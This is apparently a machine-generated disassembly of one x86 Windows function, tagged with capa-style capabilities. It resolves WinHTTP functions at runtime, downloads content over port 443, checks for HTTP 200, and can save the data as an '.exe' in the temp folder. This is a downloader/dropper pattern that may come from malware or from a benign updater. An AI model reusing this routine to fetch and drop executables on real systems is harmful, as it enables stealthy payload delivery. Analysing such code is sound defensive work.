Function at 0x4048f0
Capabilities:
Check http status code
Get common file path
Link many functions at runtime
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456716
mov eax, dword fs:[0]
push eax
sub esp, 0x5a8
mov eax, dword [0x46b078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x334], 0
push str.winhttp.dll
lea ecx, [ebp - 0x274]
call fcn.0040e240
mov ecx, eax
call fcn.0041e0d0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0
jne 0x404987
push 0x30
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.0043ac90
add esp, 0xc
mov ecx, dword [ebp + 8]
call fcn.004108b0
mov ecx, dword [ebp - 0x334]
or ecx, 1
mov dword [ebp - 0x334], ecx
mov eax, dword [ebp + 8]
jmp 0x4054f3
push str.WinHttpOpen
lea ecx, [ebp - 0x174]
call fcn.0040c610
mov ecx, eax
call fcn.0041dd30
push eax
mov edx, dword [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x400], eax
push str.WinHttpConnect
lea ecx, [ebp - 0x184]
call fcn.0040c450
mov ecx, eax
call fcn.0041dcb0
push eax
mov eax, dword [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3f8], eax
push str.WinHttpOpenRequest
lea ecx, [ebp - 0x1e4]
call fcn.0040cef0
mov ecx, eax
call fcn.0041de20
push eax
mov ecx, dword [ebp - 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3e4], eax
push str.WinHttpSendRequest
lea ecx, [ebp - 0x1d0]
call fcn.0040ca20
mov ecx, eax
call fcn.0041de20
push eax
mov edx, dword [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3dc], eax
push str.WinHttpReceiveResponse
lea ecx, [ebp - 0x224]
call fcn.0040c770
mov ecx, eax
call fcn.0041ddb0
push eax
mov eax, dword [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3d4], eax
push str.WinHttpQueryHeaders
lea ecx, [ebp - 0x20c]
call fcn.0040c200
mov ecx, eax
call fcn.0041dc30
push eax
mov ecx, dword [ebp - 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x354], eax
push str.WinHttpQueryDataAvailable
lea ecx, [ebp - 0x240]
call fcn.0040d320
mov ecx, eax
call fcn.0041df40
push eax
mov edx, dword [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x374], eax
push str.WinHttpReadData
lea ecx, [ebp - 0x1bc]
call fcn.0040cc60
mov ecx, eax
call fcn.0041de80
push eax
mov eax, dword [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x380], eax
push str.WinHttpCloseHandle
lea ecx, [ebp - 0x1f8]
call fcn.0040bfa0
mov ecx, eax
call fcn.0041dba0
push eax
mov ecx, dword [ebp - 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x344], eax
push str.WinHttpCrackUrl
lea ecx, [ebp - 0x1a8]
call fcn.0040d130
mov ecx, eax
call fcn.0041de80
push eax
mov edx, dword [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
mov dword [ebp - 0x38c], ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 4]
mov dword [ebp - 0x418], eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x28]
push edx
call fcn.0042bea0
add esp, 8
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.0041d790
mov dword [ebp - 0x36c], eax
push 0x3c
push 0
lea eax, [ebp - 0x45c]
push eax
call fcn.0043ac90
add esp, 0xc
mov dword [ebp - 0x45c], 0x3c
mov dword [ebp - 0x454], 0xffffffff
mov dword [ebp - 0x448], 0xffffffff
mov dword [ebp - 0x42c], 0xffffffff
mov dword [ebp - 0x424], 0xffffffff
mov ecx, dword [ebp - 0x3ac]
mov dword [ebp - 0x3a8], ecx
lea edx, [ebp - 0x45c]
push edx
push 0
mov eax, dword [ebp - 0x36c]
push eax
call fcn.00441413
add esp, 4
push eax
mov ecx, dword [ebp - 0x36c]
push ecx
call dword [ebp - 0x3a8]
test eax, eax
jne 0x404c2a
push 0x30
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.0043ac90
add esp, 0xc
mov ecx, dword [ebp + 8]
call fcn.004108b0
mov eax, dword [ebp - 0x334]
or eax, 1
mov dword [ebp - 0x334], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00411840
mov eax, dword [ebp + 8]
jmp 0x4054f3
push 0x4593a8
lea ecx, [ebp - 0x108]
call fcn.0040f590
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x44c]
push ecx
lea ecx, [ebp - 0xf0]
call fcn.0040f890
mov byte [ebp - 4], 2
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x120]
push ecx
call fcn.0042bd90
add esp, 8
mov dword [ebp - 0x3a0], eax
mov edx, dword [ebp - 0x3a0]
mov dword [ebp - 0x408], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x408]
push eax
lea ecx, [ebp - 0x414]
push ecx
mov ecx, dword [ebp - 0x404]
call fcn.00405510
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x120]
call fcn.004035c0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xf0]
call fcn.00411840
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x108]
call fcn.004035c0
mov dword [ebp - 0x32c], 0
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x328], 0
lea ecx, [ebp - 0x88]
call fcn.004108b0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x3fc], edx
push 0
push 0
push 0
push 1
push 0x4593b8
lea ecx, [ebp - 0x320]
call fcn.0040d630
mov ecx, eax
call fcn.0041dfc0
push eax
call dword [ebp - 0x3fc]
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0
je 0x404dd5
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x3e8], eax
push 0
push 0x1bb
lea ecx, [ebp - 0x414]
call fcn.0041f840
push eax
lea ecx, [ebp - 0x138]
push ecx
call fcn.0042bea0
add esp, 8
mov dword [ebp - 0x3f0], eax
mov edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x3ec], edx
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x3ec]
call fcn.0041d790
push eax
mov eax, dword [ebp - 0x338]
push eax
call dword [ebp - 0x3e8]
mov dword [ebp - 0x33c], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x138]
call fcn.00411840
cmp dword [ebp - 0x33c], 0
je 0x404e27
mov ecx, dword [ebp - 0x3e4]
mov dword [ebp - 0x3e0], ecx
push 0x800000
push 0
push 0
push 0
mov edx, dword [ebp - 0x430]
push edx
push 0x4593ac
lea ecx, [ebp - 0x194]
call fcn.0040e150
mov ecx, eax
call fcn.0041e060
push eax
mov eax, dword [ebp - 0x33c]
push eax
call dword [ebp - 0x3e0]
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0
je 0x404e5b
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x3d8], ecx
push 0
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 0x328]
push edx
call dword [ebp - 0x3d8]
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0
je 0x404e85
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x3d0], eax
push 0
mov ecx, dword [ebp - 0x328]
push ecx
call dword [ebp - 0x3d0]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x3b0], 4
mov edx, dword [ebp - 0x430]
push edx
lea ecx, [ebp - 0xd8]
call fcn.0040f890
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0042bd90
add esp, 8
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xd8]
call fcn.00411840
push 1
push 1
lea edx, [ebp - 0xa0]
push edx
lea ecx, [ebp - 0x5b4]
call fcn.0040f040
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x40]
call fcn.00403320
mov byte [ebp - 4], 0xc
push 0x2f
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x5b4]
push ecx
call fcn.0040b4c0
add esp, 0xc
mov dword [ebp - 0x350], eax
mov edx, dword [ebp - 0x350]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x350]
add ecx, dword [eax + 4]
call fcn.004128b0
movzx ecx, al
test ecx, ecx
je 0x404f3c
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x70]
call fcn.00412060
jmp 0x404ef6
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x404fe2
push str..exe
lea ecx, [ebp - 0xa8]
call fcn.0040ce50
mov ecx, eax
call fcn.0041dee0
mov dword [ebp - 0x3c4], eax
lea ecx, [ebp - 0x168]
push ecx
call fcn.00405640
add esp, 4
mov dword [ebp - 0x3cc], eax
mov edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x3c8], edx
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x3c0], eax
mov ecx, dword [ebp - 0x3c4]
push ecx
mov edx, dword [ebp - 0x3c0]
push edx
lea eax, [ebp - 0x150]
push eax
call fcn.004061d0
add esp, 0xc
mov dword [ebp - 0x3bc], eax
mov ecx, dword [ebp - 0x3bc]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00412020
lea ecx, [ebp - 0x150]
call fcn.004035c0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x168]
call fcn.004035c0
push 0x104
call fcn.0043996f
add esp, 4
mov dword [ebp - 0x3b8], eax
mov edx, dword [ebp - 0x3b8]
mov dword [ebp - 0x34c], edx
mov eax, dword [ebp - 0x34c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [ebp - 0x34c]
push ecx
lea ecx, [ebp - 0xc0]
call fcn.0040f590
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x34c]
mov dword [ebp - 0x3b4], edx
mov eax, dword [ebp - 0x3b4]
push eax
call fcn.00439978
add esp, 4
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0xc0]
push edx
lea eax, [ebp - 0x58]
push eax
call fcn.00406210
add esp, 0xc
mov byte [ebp - 4], 0xf
push 1
lea ecx, [ebp - 0x50c]
call fcn.0040f120
mov byte [ebp - 4], 0x10
movzx ecx, byte [ebp + 0x10]
test ecx, ecx
je 0x40508b
push 0x40
push 0x22
lea edx, [ebp - 0x58]
push edx
lea ecx, [ebp - 0x50c]
call fcn.00420490
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x3f4], 4
mov dword [ebp - 0x348], 0
cmp dword [ebp - 0x340], 0
je 0x4053bf
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x3a4], eax
push 0
lea ecx, [ebp - 0x3b0]
push ecx
lea edx, [ebp - 0x358]
push edx
push 0
push 0x20000013
mov eax, dword [ebp - 0x328]
push eax
call dword [ebp - 0x3a4]
mov ecx, dword [ebp - 0x354]
mov dword [ebp - 0x370], ecx
push 0
lea edx, [ebp - 0x3f4]
push edx
lea eax, [ebp - 0x360]
push eax
push 0
push 0x20000005
mov ecx, dword [ebp - 0x328]
push ecx
call dword [ebp - 0x370]
cmp dword [ebp - 0x358], 0xc8
je 0x4051d6
push 0x30
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.0043ac90
add esp, 0xc
mov ecx, dword [ebp + 8]
call fcn.004108b0
mov eax, dword [ebp - 0x334]
or eax, 1
mov dword [ebp - 0x334], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x50c]
call fcn.00413600
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x58]
call fcn.004035c0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xc0]
call fcn.004035c0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x40]
call fcn.004035c0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x5b4]
call fcn.004135d0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xa0]
call fcn.004035c0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x88]
call fcn.00411b20
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x414]
call fcn.00411ac0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00411840
mov eax, dword [ebp + 8]
jmp 0x4054f3
mov dword [ebp - 0x32c], 0
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x378], ecx
lea edx, [ebp - 0x32c]
push edx
mov eax, dword [ebp - 0x328]
push eax
call dword [ebp - 0x378]
test eax, eax
jne 0x405209
jmp 0x4053bf
cmp dword [ebp - 0x32c], 0
jne 0x405217
jmp 0x4053bf
mov ecx, dword [ebp - 0x32c]
add ecx, 1
push ecx
call fcn.0043996f
add esp, 4
mov dword [ebp - 0x37c], eax
mov edx, dword [ebp - 0x37c]
mov dword [ebp - 0x330], edx
cmp dword [ebp - 0x330], 0
jne 0x405249
jmp 0x4053bf
mov eax, dword [ebp - 0x32c]
add eax, 1
push eax
push 0
mov ecx, dword [ebp - 0x330]
push ecx
call fcn.0043ac90
add esp, 0xc
mov edx, dword [ebp - 0x380]
mov dword [ebp - 0x384], edx
lea eax, [ebp - 0x368]
push eax
mov ecx, dword [ebp - 0x32c]
push ecx
mov edx, dword [ebp - 0x330]
push edx
mov eax, dword [ebp - 0x328]
push eax
call dword [ebp - 0x384]
test eax, eax
jne 0x4052b6
mov ecx, dword [ebp - 0x330]
mov dword [ebp - 0x388], ecx
mov edx, dword [ebp - 0x388]
push edx
call fcn.00439978
add esp, 4
jmp 0x4053bf
mov eax, dword [ebp - 0x348]
add eax, dword [ebp - 0x32c]
mov dword [ebp - 0x348], eax
movzx ecx, byte [ebp + 0x10]
test ecx, ecx
je 0x405373
mov edx, dword [ebp - 0x32c]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x330]
push ecx
lea ecx, [ebp - 0x50c]
call fcn.004223a0
mov edx, dword [ebp + 0x14]
cmp dword [edx + 8], 0
je 0x405371
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x405371
mov ecx, dword [ebp - 0x348]
mov dword [ebp - 0x35c], ecx
cvtsi2sd xmm0, dword [ebp - 0x35c]
mov edx, dword [ebp - 0x35c]
shr edx, 0x1f
addsd xmm0, qword [edx*8 + 0x459900]
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x364], eax
cvtsi2sd xmm1, dword [ebp - 0x364]
mov ecx, dword [ebp - 0x364]
shr ecx, 0x1f
addsd xmm1, qword [ecx*8 + 0x459900]
divsd xmm0, xmm1
mulsd xmm0, qword [0x4598f0]
movsd qword [ebp - 0x420], xmm0
cvttsd2si edx, qword [ebp - 0x420]
mov eax, dword [ebp - 0x38c]
mov dword [eax], edx
jmp 0x40538c
mov ecx, dword [ebp - 0x32c]
push ecx
mov edx, dword [ebp - 0x330]
push edx
lea ecx, [ebp - 0x88]
call fcn.0041d2b0
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x390], eax
mov ecx, dword [ebp - 0x390]
push ecx
call fcn.00439978
add esp, 4
cmp dword [ebp - 0x368], 0
jne 0x4053b2
jmp 0x4053bf
cmp dword [ebp - 0x32c], 0
ja 0x4051d6
cmp dword [ebp - 0x328], 0
je 0x4053e1
mov edx, dword [ebp - 0x344]
mov dword [ebp - 0x394], edx
mov eax, dword [ebp - 0x328]
push eax
call dword [ebp - 0x394]
cmp dword [ebp - 0x33c], 0
je 0x405403
mov ecx, dword [ebp - 0x344]
mov dword [ebp - 0x398], ecx
mov edx, dword [ebp - 0x33c]
push edx
call dword [ebp - 0x398]
cmp dword [ebp - 0x338], 0
je 0x405425
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x39c], eax
mov ecx, dword [ebp - 0x338]
push ecx
call dword [ebp - 0x39c]
movzx edx, byte [ebp + 0x10]
test edx, edx
je 0x405439
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x70]
call fcn.00412060
lea ecx, [ebp - 0x50c]
call fcn.0041da00
mov ecx, dword [ebp - 0x324]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x88]
push edx
mov ecx, dword [ebp + 8]
call fcn.00410860
mov eax, dword [ebp - 0x334]
or eax, 1
mov dword [ebp - 0x334], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x50c]
call fcn.00413600
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x58]
call fcn.004035c0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xc0]
call fcn.004035c0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x40]
call fcn.004035c0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x5b4]
call fcn.004135d0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xa0]
call fcn.004035c0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x88]
call fcn.00411b20
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x414]
call fcn.00411ac0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00411840
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043993e
mov esp, ebp
pop ebp
ret 0x18